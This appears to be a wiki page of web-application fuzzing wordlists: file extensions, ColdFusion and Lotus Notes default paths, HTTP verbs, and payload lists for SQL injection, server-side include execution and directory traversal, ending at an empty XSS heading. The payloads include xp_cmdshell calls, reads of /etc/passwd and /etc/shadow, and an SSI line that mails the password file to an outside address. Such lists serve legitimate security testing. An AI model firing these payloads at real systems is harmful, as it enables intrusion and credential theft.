.sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> # Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> # Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;<br /> # ll HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> 